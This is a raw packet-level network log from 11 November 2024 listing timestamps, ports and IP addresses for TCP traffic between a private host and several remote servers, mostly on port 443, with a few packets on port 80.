Nov 11, 2024 21:59:24.691469908 CET	443	58803	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.691540956 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.691546917 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.691694021 CET	443	58799	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.691751957 CET	58799	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.691817045 CET	443	58804	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.691945076 CET	58802	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.691962957 CET	443	58802	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.692167997 CET	58803	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.692177057 CET	443	58801	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.692178011 CET	443	58803	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.692929029 CET	58804	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.692939043 CET	443	58804	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.692982912 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.692998886 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.693036079 CET	58801	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.693042040 CET	443	58801	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.693063974 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.693072081 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.693087101 CET	443	58802	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.693137884 CET	58802	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.693239927 CET	443	58803	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.693284035 CET	58803	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.693684101 CET	58799	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.693742990 CET	443	58799	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.693744898 CET	58802	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.693795919 CET	443	58802	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.693973064 CET	443	58804	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.694045067 CET	58804	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.694052935 CET	58803	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.694118023 CET	443	58803	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.694176912 CET	443	58801	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.694225073 CET	58801	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.694391012 CET	58804	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.694459915 CET	443	58804	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.694648981 CET	58801	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.694730997 CET	443	58801	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.700366974 CET	443	58800	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.700819969 CET	58800	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.700826883 CET	443	58800	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.701844931 CET	443	58800	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.701925039 CET	58800	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.702299118 CET	58800	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.702362061 CET	443	58800	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.708544016 CET	58795	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.708578110 CET	58792	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.708622932 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.738892078 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.738912106 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.738972902 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.738986969 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.739034891 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.744007111 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.744021893 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.744071960 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.744081020 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.744110107 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.744131088 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.745889902 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.745904922 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.745968103 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.745979071 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.746033907 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.747497082 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.747513056 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.747574091 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.747586012 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.747791052 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.763567924 CET	58794	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:24.763581991 CET	58802	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.763586998 CET	58793	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:24.763591051 CET	443	58802	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.763590097 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.763617992 CET	58800	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.763624907 CET	443	58800	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.765163898 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.765172005 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.765247107 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.765631914 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.765646935 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.765678883 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.765706062 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.765718937 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.765727997 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.765738010 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.765758038 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.771217108 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.771234989 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.771399021 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.771406889 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.771490097 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.771545887 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.771553040 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.772118092 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.772131920 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.772186041 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.772192955 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.772964001 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.772981882 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.773046970 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.773053885 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.773080111 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.773931980 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.773988962 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.773996115 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.774827957 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.774847031 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.774874926 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.774879932 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.774892092 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.774909019 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.774944067 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.776611090 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.776627064 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.776676893 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.776684999 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.793509960 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.819550037 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.819569111 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.819662094 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.819686890 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.819933891 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.823801041 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.823849916 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.823884964 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.823894024 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.823940992 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.824083090 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.824146032 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.824186087 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.824819088 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:24.824836016 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:24.846225023 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.846245050 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.846319914 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.846334934 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.846353054 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.846400023 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.846668959 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.846683025 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.846739054 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.846750021 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.846801043 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.851661921 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.851700068 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.851768017 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.851788044 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.851818085 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.851872921 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.852545977 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.865396023 CET	58799	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.865396023 CET	58804	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.865411043 CET	443	58799	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.865412951 CET	58803	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.865425110 CET	443	58804	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.865437984 CET	443	58803	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.865463972 CET	58801	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.865477085 CET	443	58801	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:24.865916014 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.867294073 CET	58802	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.867477894 CET	58800	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.889478922 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.889548063 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.898252964 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.956809998 CET	58806	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.956845999 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.957335949 CET	58806	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.957343102 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.958373070 CET	58807	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.958398104 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.958839893 CET	58807	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.958844900 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.987891912 CET	58799	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.987891912 CET	58804	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.987900019 CET	58803	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:24.988291025 CET	58801	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:25.044589996 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.044625998 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.044748068 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.045140028 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.045150995 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.046188116 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.046638012 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.046695948 CET	58806	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.048181057 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.048260927 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.048453093 CET	58807	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.053162098 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.053215981 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.053344965 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.053987026 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.054004908 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.093698978 CET	58806	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.093743086 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.093760014 CET	58806	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.093765974 CET	443	58806	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.094013929 CET	58807	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.094037056 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.094055891 CET	58807	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.094063044 CET	443	58807	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.105282068 CET	58815	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.105308056 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.105480909 CET	58815	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.106424093 CET	58815	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.106436014 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.107665062 CET	58816	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.107671022 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.107808113 CET	58816	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.107939005 CET	58816	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.107950926 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.114058018 CET	443	58811	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:25.114305019 CET	58811	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:25.114342928 CET	443	58811	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:25.114681005 CET	443	58811	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:25.115242004 CET	58811	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:25.115331888 CET	443	58811	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:25.117084980 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.118355036 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.118489027 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.142476082 CET	58808	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.142507076 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.143338919 CET	58808	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.143346071 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.143992901 CET	58809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.144018888 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.144401073 CET	58809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.144407988 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.152097940 CET	58810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.152144909 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.152755022 CET	58810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.152762890 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.236325026 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.236427069 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.236485004 CET	58808	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.237524986 CET	58808	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.237550974 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.237565994 CET	58808	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.237571955 CET	443	58808	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.240748882 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.240988016 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.241046906 CET	58809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.242235899 CET	58809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.242260933 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.242276907 CET	58809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.242284060 CET	443	58809	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.245047092 CET	58817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.245095015 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.245299101 CET	58817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.245673895 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.245757103 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.245834112 CET	58810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.246999025 CET	58818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.247019053 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.247073889 CET	58818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.247364998 CET	58817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.247400045 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.253000975 CET	58810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.253010035 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.253024101 CET	58810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.253027916 CET	443	58810	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.261698008 CET	58818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.261709929 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.263336897 CET	58819	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.263386011 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.263452053 CET	58819	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.263586044 CET	58819	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.263601065 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.264338017 CET	58811	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:25.435101032 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:25.435141087 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:25.440063000 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:25.440097094 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:25.620873928 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.621267080 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.624252081 CET	58815	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.624269962 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.624741077 CET	58815	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.624746084 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.626276016 CET	58816	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.626288891 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.626779079 CET	58816	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.626784086 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.686300993 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.686531067 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.686539888 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.687649965 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.687722921 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.688081026 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.688139915 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.688235044 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.688241959 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.688287973 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.688312054 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.696283102 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.696647882 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.696676970 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.697019100 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.697895050 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.697951078 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.698198080 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.698312044 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.698328018 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.714375019 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.714432001 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.714549065 CET	58815	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.714989901 CET	58815	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.715003014 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.715010881 CET	58815	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.715017080 CET	443	58815	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.715336084 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.715651035 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.715699911 CET	58816	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.716464996 CET	58816	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.716470003 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.716485977 CET	58816	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.716490030 CET	443	58816	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.720066071 CET	58822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.720117092 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.720181942 CET	58822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.721735954 CET	58823	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.721775055 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.721925020 CET	58823	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.722152948 CET	58822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.722170115 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.722301960 CET	58823	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.722312927 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.763349056 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.764883041 CET	58817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.764906883 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.765443087 CET	58817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.765448093 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.776959896 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.777396917 CET	58818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.777405024 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.777924061 CET	58818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.777928114 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.779659986 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.780251026 CET	58819	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.780267954 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.781054974 CET	58819	443	192.168.2.5	13.107.246.45
